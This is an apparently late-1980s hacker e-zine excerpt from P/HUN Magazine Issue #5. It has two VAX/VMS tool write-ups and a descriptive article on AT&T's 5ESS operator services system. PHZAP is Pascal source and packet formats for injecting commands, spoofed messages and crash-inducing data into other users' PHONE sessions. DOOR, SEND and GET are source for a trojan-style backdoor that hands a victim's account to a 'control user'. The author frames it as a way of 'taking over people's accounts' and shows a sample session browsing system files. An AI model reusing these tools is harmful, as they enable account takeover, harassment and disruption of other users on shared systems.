$ ZAP GOD/TYPE=MSG/MESSAGE="Personally?  I think you goofed off for six days"
$ ZAP GOD/TYPE=MSG/MESSAGE=" then pulled an all-nighter!~"
;  Drops up the message on His screen.
 
$ ZAP DEVIL/TYPE=MSG/MESSAGE="\And I said, Let There Be Light!  And YOU got"
$ ZAP DEVIL/TYPE=MSG/MESSAGE="hung up!"
$ ZAP DEVIL/TYPE=CMD/MESSAGE="HANGUP"
;  Places the message on It's screen, then forces It to HANGUP.
 
$ ZAP GOD/TYPE=CMD/MESSAGE="HELP SWITCH_HOOK"
;  This command teaches Him a bit about Switch Hooks, by forcing Him into
;  help...
 
--------------------------------------------------------------------------
     If you get the feeling that I'm a bit anti-religious, and that those
capital letters are smotheringly sarcastic...  You're smarter than you
look!
---------------------------------------------------------------------------
PHZAP.PAS follows:
 
[ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
{*************************************************************************}
{*    If you are going to use this program, please leave this message    *}
{*    in the file.  When referring to this program, give credit where    *}
{*    credit is due.                                                     *}
{*                                                --  Baliord            *}
{*************************************************************************}
 
program Phone_Phool(output,phzap);
 
const
  max = 132;
 
  type
    string_type = VARYING[ MAX ] OF CHAR;
    word_type = [ word ]0..65535;
 
  var
    MAILBOX_NAME : STRING_TYPE;
    mailbox_channel : word_type;
    MsgStr,Send_File, command, mailbox_device_name : string_type;
    length : integer;
    phZAP: text;
 
[external,asynchronous] procedure cli$get_value  (
          entity: packed array [$L7..$U7:integer] of char := %immed 0;
          var retdesc : Varying [$R0] of char) ; external;
 
[ asynchronous ]
function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
                         %ref name_length : integer := %immed 0;
                         %descr equivalence : varying[ l2 ] of char;
                         %ref table : integer := %immed 0 ) : integer;
external;
 
[external,asynchronous] function cli$present(
         entity: packed array [$L7..$U7:integer] of char := %immed 0):Integer;
external;
 
{
  The following procedure checks to find out who you want hit with a message,
  and opens their phone mailbox and sends the command to it.
}
 
Procedure Send(Command:String_Type);
 Begin
    Cli$get_value('USER',Mailbox_Name);
    Mailbox_Name:='PHN$'+Mailbox_Name;
    if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then
      writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
    else
      begin
        mailbox_device_name.length := length;
        $assign( mailbox_device_name, mailbox_channel );   { Assign channel }
        $qio( , mailbox_channel, io$_writevblk + io$m_noformat + io$m_now,
          ,,, command.body, command.length, );         { Send command. }
      end;
  End;
 
{
   This procedure adds the "smb_cmd" (symbiont Command) function to the
   beginning of a message.  This forces the message you send to be interpreted
   by PHONE as a command typed by the user.
}
 
Procedure Snd_Cmd(Y:String_Type);
  Var X:Integer;
  Begin
    Y:=Y+chr(13);
    Y:=chr(3)+Y+chr(0);
    Send(Y);
  End;
 
{
   Here we convert the string from the plaintext given by the ZAPper to the
   string that will be sent to the poor desperate user.  It converts the
   '~' character into a carraige return, the '\' into a ^L (which clears the
   screen) and the "|" into a ^W which repaints the screen.
}
 
Procedure Snd_Msg(Y:String_Type);
  Var X:Integer;
  Begin
    X:=1;
    While X<>0 do
    Begin
      X:=Index(Y,'~');
      If X<>0 then Y[X]:=chr(13);
    End;
    X:=Index(Y,'\');
    If X<>0 then Y[X]:=chr(12);
    X:=Index(Y,'|');
    If X<>0 then Y[X]:=chr(23);
    Y:=chr(2)+Y+chr(0);
    Send(Y);
  End;
 
Begin  (** MAIN PROGRAM **)
 
    if cli$present('MESSAGE')<>229872 then cli$get_value('MESSAGE',msgstr);
     { If the person is sending a message then it will be in the MSG area. }
 
    if cli$present('TYPE')<>229872 then cli$get_value('TYPE',Send_File) else
       Send_File:='ACCVIO.PHN';
     { If the /TYPE= is not specified then it tries to force the user's PHONE
       program to crash with an ACCESS VIOLATION...  (a nice, frightening
       trick to play on a poor user.  It is normally possible to send a file
       through this command, BUT you must know the format...
     }
 
    IF SEND_FILE='CMD' then SND_CMD(MSGSTR) ELSE
      If Send_File='MSG' then SND_MSG(MsgStr) Else
         BEGIN
           if Index(Send_File,'.')=0 then Send_File:=Send_File+'.PHN';
           Cli$get_value('USER',Mailbox_Name);
           Mailbox_Name:='PHN$'+Mailbox_Name;
           if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>
ss$_normal then
              writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
           else
           begin
             OPEN(FILE_VARIABLE:=PHZAP
                 ,FILE_NAME:=SEND_FILE
                 ,HISTORY:=OLD
                 ,DEFAULT:='[]'); {  Replace this with the default dir }      
                                     {  you will be most often using...}
 
             mailbox_device_name.length := length;
 
             $assign( mailbox_device_name, mailbox_channel );   
{ Assign channel }
 
             reset(phZAP);
                repeat
                   readln(phZAP,command);
 
                   $qio( , mailbox_channel, io$_writevblk + io$m_noformat 
+ io$m_now,
                        ,,, command.body, command.length, );         { 
Send command. }
 
                until eof(phZAP)
           end;
         END;
end.
 
------------------------------------------------------------------------------
PHZAP.CLD follows:
 
MODULE PHZAP_COMMAND
Define Verb Zap
       Image      "[{directory}]PHZAP.EXE"
;                     ^^  Convert this to the directory the program will be in
;                         and then delete these three lines.
;
       Qualifier  Type,Value
       Parameter  P1,Label=User,Value(Required),Prompt="Username"
       Qualifier  Message,Value
 
-----------------------------------------------------------------------------
    The format for a simple file is <cmd-char>NODE::USERNAME<CHR(0)><msg-char>
 
    You can force a message to a person's screen by one of two methods,
the first is using the above format and writing your message in the <msg-char>
section of the packet using <listen>.  This requires writing it character by
character.  The other option is to send the KBD_ROUTE command along with the
message in normal text (with a <CHR(0)> at the end of course.)
    The CMD_PARSE command allows you to force a command on the user, through
their PHONE program.  It only works for commands within PHONE, however, so
you cannot make them log out or such, only kick them out of phone.
    The ANSWERED flag is useful in writing an answering machine, in that you
send <answered>NODE::<answering user><CHR(0)> and the calling PHONE program
will pop up the second screen as if the person had answered.  BUSY is also
a nice one to be able to send (as well as rejected!)
    If you send a <hangup>NODE::<hanging user><CHR(0)> ONLY THE USER YOU HIT
with PHZAP will see that user as hung-up!  The other user (who supposedly
hung up) will still see the other user listed on their screen!  (Nothing
typed will reach them of course, but it is an interesting mindfuck!)
    The <facsimile><msg-text><CHR(0)> is (if I remember correctly) the proper
method for FAXing something over the VAX PHONE.
    The <held>NODE::<holding user><CHR(0)> command puts the user you hit on
HOLD in that user's eyes, but not to the "holding user."
    Sending a <forced-link>NODE::<user #1><CHR(0)>NODE::<user #2><CHR(0)> will
pretend to create a link between the user you are ZAPping and user #2.  Both
users **MUST** be logged in, but not necessarily in PHONE!  Thus you can force
a link between a user and <login> just to freak them out!  An example of this
is given below.
    The codes I haven't discussed are either too weird/complex to handle
easily, or I just don't know how to use them.  (or have never bothered.)
 
kbd_get      = chr (1);
kbd_route    = chr (2);
cmd_parse    = chr (3);
talk         = chr (4);
help2        = chr (5);
ring_out     = chr (6);
slave_verify = chr (7);
rang_in      = chr (8);
hangup       = chr (9);
busy         = chr (10);
answered     = chr (11);
rejected     = chr (12);
slave_done   = chr (13);
listen       = chr (14);
directory2   = chr (15);
facsimile2   = chr (16);
forced_link  = chr (17);
held         = chr (18);
unheld       = chr (19);
 
----------------------------------------------------------------------------
Some sample .PHN files follow...  <nn> is used to refer to <CHR(nn)>...
 
FOFF.PHN
<04>Lemme ALONE dammit!!<00>
 
    This drops a message in the users OWN message area as if he had typed it
to send to somebody.  They don't even have to be connected to somebody for
you to do this.  It's most useful when someone is calling you and you want
to tell them to call back later.
 
FYOU.PHN
<14>HEAVEN::GOD<00>F
<14>HEAVEN::GOD<00>u
<14>HEAVEN::GOD<00>c
<14>HEAVEN::GOD<00>k
<14>HEAVEN::GOD<00>
<14>HEAVEN::GOD<00>Y
<14>HEAVEN::GOD<00>o
<14>HEAVEN::GOD<00>u
<14>HEAVEN::GOD<00>!
 
    This sends a message to a user in the standard way, as if someone had
typed it.  This is also the method that is in the mailboxes used by PHONE,
so if you want to write an answering machine, you have to parse that pattern.
 
ACCVIO.PHN
<15>HEAVEN::GOD<00>
 
    That causes Acess Violation errors to flow down the users screen.  Don't
ask me why; I don't know.  Does it under V4.6 of VMS, others I'm not sure.
 
LINKUP.PHN
<16>HEAVEN::DEVIL<00>HEAVEN::GOD<00>
 
    After send that to a user's mailbox, their screen should flash with the
"DEVIL has created a conference call with GOD" message.  Both users MUST exist
and be logged on currently.  If you want to add yourself into a conversation
go into phone, have someone "link" you with their conversation and then have
someone link them with you...  It must be done to both.  Of course you could
always use this...
 
ANSWER.PHN
<03>ANSWER<0>
 
    That will force an ANSWER command from the keyboard into the COMMAND
buffer.  If you have a friend do that to them, as you are phoning them, then
they will be connected without the chance of them rejecting!  <Then you have
your friend start linking all the phone conversations on the system by one
person each!>
 
     I think that's enough examples for you to be able to figure out the
format for the rest yourself.
 
     If you have questions about this, or any other program you have seen
my name on, or you have VAX specific questions, I am available on The Toll
Center BBS @ (718) 358-9209 and the Rogue's Gallery BBS @ (516) 361-9846.
 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

                Baliord's VMS Tricks Vol 2: DOOR
                --------------------------------       
                          By  Baliord


                  Phile #7 of P/HUN Magazine Issue #5

    The following program was designed to be an example of the use of
VAX/VMS Mailboxes for multi-process control.  Any use of the program
is the responsibility of the person compiling and/or running the
program.
 
    In this file, we look at the use of VMS's Mailbox facilities.  The VMS
Mailbox was designed as a way of assisting interprocess communication for
non-priviledged users.  An example of a program that uses the MBX facility
is PHONE.  PHONE uses the mailboxes, along with system-wide logical names, to
allow users to send information packets back and forth.
    In the last file I discussed how to take advantage of PHONE's "open"
logical names for confusing users.  In this installation, you will see how
MBX's are VERY useful in taking over people's accounts.
    This program is called DOOR (a name given it by CW, a very helpful friend
who doesn't have a handle), and it allows the "default_control" user to control
the account of any person who runs this program.
    The code does the following:
 
1)  The control_user string is set to the user who will recieve the MAIL that
this user is now "accessible."
 
2)  The MBX's necessary are created, using the INDOOR and OUTDOOR logical
names as storage area for the MBAxxx: strings.  (If the person already has
INDOOR and OUTDOOR defined in their main process, then the program will NOT
work.)
 
3)  The program waits 1 second, to assure that the MBX's have time to become
registered with the system.
 
4)  INDOOR and OUTDOOR are converted back from logical names to the actual
device names so the control_user can be told what they are.
 
5)  The process is spawned off with the first command being to tell the
control_user what the MBX numbers are.
 
6)  The program then ends.  (At this position, an interesting thing to put
might be a chain to whatever program name you call it with the version number
as -1.  I.E.  DOOR.EXE;-1 would be the program you chain to.  Then the program
would, in effect, create the process, then execute a real program.)
 
     The control_user must then read their mail and create two MBX's that
correspond to the information given in the mail.
I.E.
    OUTDOOR=_MBA211: INDOOR=_MBA212:
would be ASSIGNED at the DCL level as ASSIGN MBA211: OUTDOOR and
                                      ASSIGN MBA212: INDOOR
This must be done before the next two programs can be run.
 
     The next two programs are, in order, the SEND program and the program to
GET the information.
 
     The SEND program assumes that you have entered a
SEND:==$[directory]SEND.EXE
                           command.  It takes whatever you typed after the
SEND command and sends it through to the INDOOR mailbox.  The directory in
the definition above is the directory you are keeping the SEND program in.
 
     The GET program is the next program, and can be run directly.  Or you
can create a
GET:==$[directory]GET.EXE
                         command.
 
     The process for operation is illustrated here.
 
$ mail
 
You have 1 new message.
 
MAIL>
    #1          23-JUL-1989 02:08:03                              NEWMAIL
From:   HEAVEN::DEVIL     "Heaven doesn't wan't me, so I took over Hell."
To:     GOD
Subj:   OUTDOOR=_MBA230: INDOOR=_MBA231:
 
 
MAIL>  Exit
$ assign MBA230: outdoor
$ assign MBA231: indoor
$ send dir *.com
$ get
 
Directory DRC0:[HELL.DEVIL]
 
LOGIN.COM;1
 
Total of 1 file.
$ send mail comp.com god
$
New mail on node HEAVEN from DEVIL     "Heaven doesn't want me, so I took over Hell."
$ get
$ send dir sys$system:*.dat
$ get
 
Directory SYS$SYSROOT:[SYSEXE]
 
DNAMES.DAT;1        MODPARAMS.DAT;1     NETCIRC.DAT;1       NETCONF.DAT;1
NETLINE.DAT;1       NETLOGING.DAT;1     NETNODE.DAT;1       NETNODE_LOCAL.DAT;1
NETNODE_REMOTE.DAT;1                    NETOBJECT.DAT;1     OLDSITE1.DAT;4
OLDSITE2.DAT;5      OLDSITE3.DAT;5      OLDSITE4.DAT;5      PARAMS.DAT;5
SDAT.DAT;1          SETPARAMS.DAT;5     SPSSERR.DAT;4       SPSSINFO.DAT;4
SPSSUDF9.DAT;1      USAGE.DAT;1
 
Total of 21 files.
 
Directory SYS$COMMON:[SYSEXE]
 
FAKE.DAT;1          JBCSYSQUE.DAT;1     MODPARAMS.DAT;1     RIGHTSLIST.DAT;1
SYSUAF.DAT;1        VMSMAIL.DAT;1       VMSPARAMS.DAT;1
 
Total of 7 files.
 
Grand total of 2 directories, 28 files.
$ send stop/id=0
$ sho sys/subproc
$
 
 
     I think that's enough examples for you to be able to figure out what
else to do yourself.
 

DOOR.PAS follows:
 
{
 
DOOR
Copyright (c) 1989 by Baliord and CW
 
     This program creates a subprocess with input and output being directed
     to Mailboxes.  It is originally intended for use only as a demonstration
     of the power of mailboxes.  The authors take no responsibility for the
     mischevious or dangerous use of this program.  It is only designed as
     an example of what CAN be done, and is not expected to be actually used.
 
}
 
[ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
program door( input, output );
 
const
  max = 132;
  default_control = 'GOD';          { default user that gets mail message }
  inbox = 'INDOOR';                 { Logical name (must be capital). }
  outbox = 'OUTDOOR';               { Logical name (must be capital). }
 
type
  word_type = [ word ]0..65535;
  string = VarYING [ MAX ] of char;
 
Var
  subject, user, mail_command, control_user, outdev, indev : string;
  inchannel, outchannel : word_type;  { mailbox channels }
  a, length : integer;
 
    [ asynchronous ]
    function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
                             %ref name_length : integer := %immed 0;
                             %descr equivalence : varying[ l2 ] of char;
                             %ref table : integer := %immed 0 ) : integer;
      external;
 
    [ asynchronous ]
    function lib$spawn( %descr command : varying[ l1 ] of char := %immed 0;
                        %descr inp : varying[ l2 ] of char := %immed 0;
                        out : varying[ l3 ] of char := %immed 0;
                        %ref flags : integer := %immed 0;
                        %descr process_name : varying[ l4 ] of char := %immed 0;
                        %ref pid, status, efn : integer := %immed 0;
                        [ unbound, asynchronous ]
                        procedure ast( %immed p1 : [ unsafe ]integer ) := %immed 0;
                        ast_parameter : [ unsafe ]integer := %immed 0;
                        prompt : varying [l5] of char := %immed 0;
                        cli : varying [l6] of char := %immed 0 ) : integer;
      external;
 
procedure sleep(t : real);              (* program will sleep 't' *)
var                                     (* seconds. *)
    t1 : real;
 
begin
      t1:=clock/1000;
      t:=t1+t;
      while t1<t do
          t1:=clock/1000;
end;
 
begin
  control_user := default_control;
 
  $crembx(  , inchannel, max, 1000, 0, , inbox );    { Create input mailbox. }
  $crembx(  , outchannel, max, 1000, 0, , outbox );  { Create output mailbox. }
 
  sleep( 5 );                                           { Wait for mailbox to be created. }
 
  lib$sys_trnlog( inbox, length, indev );             { get device name }
  indev.length := length;
 
  lib$sys_trnlog( outbox, length, outdev );           { get device name }
  outdev.length := length;
 
  mail_command:= 'MAIL/NOSELF NL: ' + control_user + '/SUBJECT="' + 'OUTDOOR=' + indev + ' INDOOR=' + outdev + '"';
 
  lib$spawn( mail_command, inbox, outbox, cli$m_nowait );  { Spawn process. }
 
end.
-----------------------------------------------------------------------------
SEND.PAS follows:
 
{
 
SEND
 
Copyright (c) 1989 by Baliord and CW
 
     This program was designed explicitly to send information to a MBX.  It
     was originally designed to work with the DOOR program.  The authors take
     no responsibility for the ignorant or malicious use of this program.  It
     is designed as a sample of what CAN be done with certain features of the
     VMS operating system.  It is only designed as a sample, and is not
     intended for use.
 
}
 
[ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
program send_slave( output );
 
  const
    mailbox_name = 'OUTDOOR';  { Logical name (must be capital). }
    max = 132;
 
  type
    string_type = VARYING [ MAX ] OF CHAR;
    word_type   = [ word ]0..65535;
 
  var
    mailbox_channel : word_type;
    command, mailbox_device_name : string_type;
    length : integer;
 
    [ asynchronous ]
    function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
                             %ref name_length : integer := %immed 0;
                             %descr equivalence : varying[ l2 ] of char;
                             %ref table : integer := %immed 0 ) : integer;
      external;
 
    [ asynchronous ]
    function lib$get_foreign( %descr string : varying[ l1 ] of char;
                              %descr prompt : varying[ l2 ] of char := %immed 0;
                              %ref out_length, force : integer := 0 ) : integer;
      external;
 
  begin
    if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then
      writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
    else
      begin
        mailbox_device_name.length := length;
        $assign( mailbox_device_name, mailbox_channel );   { Assign channel }
        lib$get_foreign( command );                        { Get command }
        $qio( , mailbox_channel, io$_writevblk + io$m_noformat + io$m_now,
              ,,, command.body, command.length, );         { Send command. }
      end;
  end.
-----------------------------------------------------------------------------
GET.PAS follows:
 
{
 
GET
 
Copyright (c) 1989 by Baliord
 
     This program was designed to read the output from a MBX.  In particular
     it is made to work with the DOOR program.  The use of this program is
     not the responsibility of the authors of the program, as that it is
     designed as an example of what CAN be done.  It is not intended to be
     actually used.
 
}
 
[ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
program read_slave( input,output );
 
  const
    mailbox_name = 'INDOOR';  { Logical name (must be capital). }
    max = 132;
 
  type
    word_type = [ word ]0..65535;
    string_type = VARYING[ MAX ] OF CHAR;
 
  var
    iosb            : array [1..2] of integer;
    mailbox_channel : word_type;
    ret,command, mailbox_device_name : string_type;
    length : integer;
 
    [ asynchronous ]
    function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
                             %ref name_length : integer := %immed 0;
                             %descr equivalence : varying[ l2 ] of char;
                             %ref table : integer := %immed 0 ) : integer;
      external;
 
  begin
    if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then
      writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
    else
      begin
        $assign( mailbox_device_name, mailbox_channel );   { Assign channel }
        repeat
          command.body:='';
          mailbox_device_name.length := length;
          $qio(,mailbox_channel,io$_readvblk+io$m_now,iosb,,,command.body,80);
          command.length:=80;
          if iosb[1]<>ss$_endoffile then writeln(command);
        until iosb[1]=ss$_endoffile;
      end;
  end.


 This file was produced specifically for the uses of P/HUN magazine and its
 editor.  Any publication outside of that magazine, or distribution seperate
 from that magazine without the express written approval of the author of
 this document OR THE EDITOR OF P/HUN MAGAZINE is in violation of the author's
 wishes. The only exception to this is that you are free to load these files
 onto systems for compilation.  However, if you are going to use them, you MUST
 leave the comments intact.  When referring to this program, give credit
 where credit is due.  ALWAYS leave the disclaimers intact.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


                        A New Operator Service                                 
                        ----------------------
                      Feature For The 5SS Switch :
                      ----------------------------
                    OPERATOR SERVICES POSITION SYSTEM
                    ---------------------------------
                   Phile #8 of P/HUN Magazine Issue #5
                  
                             By  Bandito    

A new operator services system for the 5ESS switch gives phone companies and
worldwide phone service administrators unparalleled flexibility in deploying
operators.  The system is called the Operator Services Position System (OSPS),
and it's operation is based on the Intergrated Services Digital Network (ISDN)
capabilities of the 5ESS switch.  These capabilities permit simultaneous data
and voice communications between the switch and the operator's terminal
equipment.
     OSPS allows the phone service providers to provide full-featured North
American and international operator service with operators located a distance
from the switching system.

AT&T has added a new feature--the Operator Services Position System--to its
5ESS switch.  A major difference between OSPS and the previous operator
system--the Traffic Service Position System  (TSPS)--is OSPS's ability to
provide several applications simultaneously on one switching system.  One
Switch with OSPS can serve up to 128 teams of operators handling different
applications, such as directory, toll, and operator assistance.
     The OSPS can be deployed as a stand-alone system or integrated with a
local, toll or gateway 5ESS switch.  For directory assistance, a basic services
terminal and a Directory Assistance System/Computer provide the directory
listing.  A video display terminal helps with charging and completing toll and
assistance calls.  In some applications, the OSPS supplies data from external
computer systems at the operator terminal.  The OSPS can also offer fully
automated services such as Automated Calling Card or Automated Coin Services. 
It does this by linking to network data bases to validate credit or calling
card numbers, and to determine the charging rates.
      For international applications, OSPS provides the international features
used in local, transit, and gateway applications,  For these applications, the
system makes available services such as call booking(thats when you say that
you want to make a call to Russia and the operator say "I'll call you in 5
hours so you can place the call, ok?"), and it can handle various types of
international trunking and signaling.

DESIGN OBJECTIVES

     Besides providing state-of-the-art operator services, OSPS also improves a
phone company's financial results by reducing operator, administrative, and
maintenance costs, improving network design efficiency, and creating new
revenue opportunities.

Operator Expense     
     Reducing the average amount of time operators take to handle a call can
cut expenses by millions of dollars.  A major effort, therefore, was devoted to
achieving this.  Attention to human-machine interfaces led to operator
positions that reduce the motions and concentration needed for each function. 
For toll and assistance, for example, the video display terminal improves the
position of information on the monitor screen and the grouping of action keys. 
The display terminal also has single keys that are set up to perform complete
functions.  This results in faster action and reduces operator stress.(I hope
this will help them get a better atitude) 
     To speed things up, the OSPS automates operator tasks associated with call
handling.  Paper records and information bulletins are eliminate by 
computerized ticketing and an automated multileaf bulletin.  Since a
significant portion of operator work time is normally spent in determining if a
line is busy and waiting for answer, this portion of the call can be automated.
Future releases of the system will allow operators to handle other calls during
these periods.

Administrative and Maintenance Expense
     Since OSPS is a feature of the 5ESS switch, administrative and maintenance
expense is reduced by making common use of the base 5ESS switch capabilities
and by using a common maintenance force.  The operator service center, where
the operators are, may be located away from the host 5ESS switch.  Additional
equipment, therefore, is provided to support administrative printers and
terminals, and the management of the operators.
     Such support comes from the OSPS administrative processor (OAP), an AT&T
3B2 computer.  Expense is minimized by allowing one administrative processor to
support as many operator services centers as the phone company desires; not too
many of these are need. Only one OAP is needed for every switch.  Most
commercial automatic call distributor applications use some type of manegement
information system (MIS) to provide similar administrative control and
reporting as does the OAP ofr OSPS.  Overall, administrative expense is reduced
by allowing several teams of operators and several types of calls to be
administered together.

Network Design Efficiency
     The 5ESS switch with remote integrated services line units allow operator
service centers to be hundreds of miles from the host switch.  OSPS can be
added to a 5ESS switch dedicated to operator services with any combinationn of
different applications, or integrated into a network switch serving other
gateway, toll, tandem, or local traffic.  If initial operator needs are small,
a single switch could serve just a few operator positions. (Because of the
modular design of the switch, the number of operator on one switch could grow
one by one until they got over 100. There could be as many as 128 teams of
operators handling a total of nearly 100,000 calls an hour.
     One OSPS can handle call processing and a second OSPS can handle operator
assistance.  This can be a permanent arrangement to minimize new operator
trunks and/or the number of sites staffed with operators.  It is also possible
to reconfigure operator teams.  Entire OSPS systems or selected teams can be
closed down during periods of low traffic.  Calls are then directed to other
teams or another OSPS in the network.  Because of these capabilities, the
network can be redesigned continuously to meet changing needs.

More Service Opportunities
     The OSPS is based on ISDN capabilities and open interfaces that support
customization, customer independence, and flexiblilty.  ISDN supplies
packet-switched access to data bases, as well as interfaces to operator
terminals and support systems.  The open interfaces make it easy to add new
services and to support multiple interchange and local exchange carriers.  Data
can be sent to the operator terminal from computer systems external to the
switch, allowing an operator to talk with a caller while receiving data from a
remote data base.  Both the data base information and the telephone information
can be displayed using the windowing capabilities of OSPS video display
terminals.

SYSTEM ARCHITECTURE

     The OSPS was designed and built on the existing ISDN architecture of the
5ESS switch.  The switch consists of three major hardware modules, handling
administration, communications, and switching.  There are two types of
switching modules, one for normal voice calls, and another, an ISDN module, for
voice and data.  The ISDN switching module is the interface between operators
and the switch.
     The administrative module provides system administration functions,and
supports automatic calll distribution to operators for each OSPS application. 
Hardware and software are added to the basic switch to perform automated and
manual operator functions.  Different types of operator terminals are furnished
for different OSPS applications.  An OSPS administrative processor is available
to support each particular application.  The terminals allow operator to
receive and control calls, and to send and receive data through the switch. 
Functionally, these are ISDN terminals with simultaneous voice and data
communications capability.
      The terminals are connected by digital subscriber lines to the switch's
integrated services line unit (ISLU) or to a remote ISLU (RISLU) when the
operator services center is a distance from the host switch.  The ISLU or RISLU
acts as an operator position controller.  Operator terminals may be located
several miles from the position controller, with the exact distance dependent
on the application and type of interface.  Where the RISLU and multiplexed onto
digital facilities that connect to the host 5ESS switch.

Systems Interfaces and External Data Bases
     For directory assistance, the 5ESS switch communicates with a
vendorsupplied Directory Assistance System Computer (DAS/C).  In response to
customer requests, the operator consults the system for directory listings. 
Like the basic services terminal with which it works, the DAS/C can be
connected to a RISLU and share the remoting capabilities with the basic
services terminal or it can be connected directly to the ISLU.
     The OSPS administrative proccessor is used for directory assistance as
well as toll and assistance operation.  This processor is located in the
operator services center and/or force management center.  It is used with
administrative terminals and printers to support administration and managemnet
personnel by providing traffic, performance, and operator team data when
requested.
     The OSPS connects to other vendor or phone company data bases as well as
to other 5ESS switches.  The connections to other switches make available
remote capability for complete call handling.  The phone company may choose to
use these connections as paths between switches to provide call processing at
the originating switch and operator services at another switch.
     The switch's common channel signalinng interface accesses a number of
external data bases.  Network signaling interfaces unique to the international
application are available to provide new features.  These interfaces vary from
country to country.

SYSTEM OPERATION

     The heart of the OSPS is a full-featured, flexibly administered automatic
call distributor (ACD).  A call coming into an OSPS is selected for a
particular operator team based on its incoming trunk and the dialed digits. 
The originating switching module determines the call type and gives the ACD the
information needed to select the proper operator team.  If operators are
available, the call is routed to one on the team who has been sitting one her
ass the longest.  If an operator isn't available in that serving team, the ACD
holds that call and the customer is sent a response (a ring, announcement,
silence, music, etc.).  When an operator becomes available, the customer that
has been on hold the longest is routed to the operator who hasnt had a call the
longest.
     For directory assistance, the operator asks for number-identifying
information and then taps into the database.  The number is given to the
customer by a recorded announcement or the operator.
     For toll and assistance requests, the operator asks for charging
information and the system handles charge recording and the call completion. 
Alternate billing is verified and coins collected where appropriate.  Domestic
and international system function similarly, but with different country
specific features.
     The OSPS automated features include Automated Calling Card and Automated
Coin Toll Services.  The automatic charge recording feature for certain calls
includes automated announcements, coin-tone detection, and multifrequency tone
(from touchtone sets,DTMF) detection.  The system can tell if collect calls or
third-party calls are being charged to a uncollectable number(like payphones,
non-working numbers, phones with unpaid bills,etc) and informs the operator on
this.

OPERATOR TERMINALS

     There are three types of operator/agent terminals to match applications
and customer needs.  All are designed to increase operator comfort and
performance, reduce training time, and improve flexibility and control.

Video Display Terminal
     The video display terminal (VDT) is for toll and assistance applications. 
The VDT's digital voice capability achieves silence between calls and clear
voice transmission.  The voice features include automatic volume control,
toll-quality voice path, multiple alerting tone capabilities, and voice-path
fraud prevention.  Operators and office administrators have the option of using
mute and split capabilities, which isolate the parties' voice paths at
appropriate times during a call to eliminate talk-over. (Talk-over is a brief
message between the caller and the called person while they shouldnt be
talking.  For example, if collect charges will be accepted be the called party.
 No more of the "hey dude!! call me back I'm out of codes!!!)  
     The VDT's keyboard looks pretty good.  Has 117 keys, this includes a
little dialing pad, to the left of the keyboard where the IBM function keys
usually are, are keys like hold, 'MUTE', 'SPLIT ON', 'VOL UP', and 'VOL DOWN'. 
Also I can make out some keys like 'Cancel Call' and 'Make busy'. The keyboard
is lightweight and detachable, this lets the operators position it easily to a
comfortable position.  The keyboard has tactile feedback, keys are logical
grouped, and the most frequently used ones are larger than the rest.  Customers
can program macro-keys that will initiate a sequence of key strokes with only
one key.  These are located near the top of the keyboard and have no writing on
them.  
     The VDT conveys call-status information and enables operators to follow
the progression of calls.  The terminal has a large, high-resolution display to
increase readability, a glare-free, positive video screen (dark characters on
light background), and a type font that is easy to read.  A screen refresh
rate, well above current norms, prevents flicker.  In addition, several
controller capabilities further clarify call information (multiple character
sets, reverse video, underlining), and are used in a consistent manner to draw
the operator's attention to particular types fo call-handling information.
     To minimize movement of the operator's eyes and head, the most critical
information about a call is displayed at the bottom of the screen.  The display
shown during a calll relays only the information needed to handle that call. 
To a avoid distraction, information may be held by the system and not
displayed.  Fields can be edited locally to reduce time required to correct
operator keying errors.
     Now im going to make a pretty pitiful attempt at showing you the screen
how it appears in a picture I have of it.

    _____     ____      ______                  ____   _____    _______  
___|SCRN|____|I&C|_____|RATE|__________________|PG1|__|PG2|____|LOGIN| AT&T___ 
|                                              |                              |
|                                              |                              |
|                                              |                              |
|                                              |                              |
|                                              |                              |
|                                              |                              |
|                                              |                              |
|                                              |                              |
|                                              |                              |
|                                              |                              |
|______________________________________________|______________________________|
|                                              |S T A T I O N   C O L L E C T |
|                                              |                              |
|                                              |                              |
|                    3 ___~~  2 ___:)  1 ___~` |Fwd  #  :614-555-6534         |
|                     |        |        |      |                              |
|                   :)|        |        |      |                              |
|                     |        |        |      |                              |
|                     |___~`   |___~`   |___~` |Bk  #   :312-555-2679         |
|                        0 + NON - COIN        |                              |
|                                              |                              |
|______________________________________________|______________________________|

| QUIT |      |  GET  | | V 3 |  |RATE| |    |  |   |  |AUTO   |  |HOTEL|      
| RATE |      | RATE  | |     |  |TIME| |    |  |   |  |COLLECT|  |RM #  3
 
    The ":)" are faces. Yes they see faces on the screen and ~~ is a picture of
a phone. And ~` is a picture of a phone off the hook. Didn't I tell you the
picture of the operators terminal was going to be pitiful?   

Intelligent Communication Workstation
     The intelligent communication workstation is for the international market.
 It has all the functions of the VDT but uses a personal computer with a color
display.  This adds flexibility to meet the requirements of different countries
and includes software to assist operators in handling otherf languages.  A
chinese version of the system, for example, allows the operator to enter names
using Chinese characters for entry into billing records.  Future releases will
make this a combined services terminal which can be used for both toll and
assistance and directory assistance.

Basic-Services Terminal  
     The basic services terminal (BST) is for directory assistance.  It has a
20-character display rather than a cathode-ray tube display.  Dedicated
function keys allow easy access to conference, transfer, and emergency
functions.  The BST has the same voice features as the VDT.  The display,
keyvoard arrangement, and call-handling keying sequences minimize operator
call-handling.

APPLICATIONS

     The OSPS offers services and features for North American and international
directory assistance, and toll and assistance.  Capacity depends on the
application and the features required.  System capacities for North American
applications are shown in the panel below:

Service                   Current           Next System Release
Directory Assistance        
Calls/hour                90,000            160,000
